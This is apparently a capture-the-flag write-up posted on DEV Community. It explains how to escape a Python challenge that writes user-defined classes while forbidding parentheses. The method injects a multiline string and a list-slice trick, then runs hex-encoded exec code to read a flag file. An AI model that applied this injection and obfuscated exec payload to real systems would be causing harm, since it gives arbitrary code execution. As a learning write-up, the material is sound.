DEV Community

VaiTon for Ulisse

Posted on • Originally published at ctf.ulis.se

ez-class

Originally written by Max

First analysis

It seems we can write a class to a file, and open that class.
But we also have restrictions on what we can write that are applied when input gets validated by get_legal_code.
When running and selecting 1. Write new class we are prompted with

  • {class name}
  • {parent}
  • {number of methods}
  • for each method:
    • {name{i}}
    • {params{i}}
    • {body{i}}

and out class will look like:

class {class name}({parent}):
  def {name{1}}({params{1}}):
    {body{1}}

  def {name{2}}({params{2}}):
    {body{2}}
  ...
Enter fullscreen mode Exit fullscreen mode

In exec_class() our class gets printed, so my_class.__repr__() gets run to get it's string representation.

Resolution

Since we can not write parentheses we want to highjack some.
If we can remove def in def {name{2}}({params{2}}): we would get closer to calling any funciton with any parameter.
Fortunatley there are multiline strings, so now our payload looks like:

class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;exec({params{2}}):
    {body{2}}
Enter fullscreen mode Exit fullscreen mode

We still have a problem:
the colon at the end of def {name{2}}({params{2}}): gives us a syntax error since it is not valid python code.
This can be fixed by making it look like we are using that result to index an array, since [][f(x):2] is valid python code

class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;[][exec({params{2}}):
    2]
Enter fullscreen mode Exit fullscreen mode

great, we can call any function!
now we just put "print(open('/tmp/flag.txt').readlines())" as a hexstring into {params{2}} to avoid parentheses invalidating our payload and we have our evil class

class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;[][exec("\x70\x72\x69\x6e\x74\x28\x6f\x70\x65\x6e\x28\x27\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x29\x29"):
    2]
Enter fullscreen mode Exit fullscreen mode

By writing such class, then selecting 2. Run class and providing the class name we get the __repr__ method to be run that in turn runs the exec which prints the file and we get the flag!

Sentry image

Hands-on debugging session: instrument, monitor, and fix

Join Lazar for a hands-on session where you’ll build it, break it, debug it, and fix it. You’ll set up Sentry, track errors, use Session Replay and Tracing, and leverage some good ol’ AI to find and fix issues fast.

RSVP here →

Top comments (0)

Sentry image

See why 4M developers consider Sentry, “not bad.”

Fixing code doesn’t have to be the worst part of your day. Learn how Sentry can help.

Learn more

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay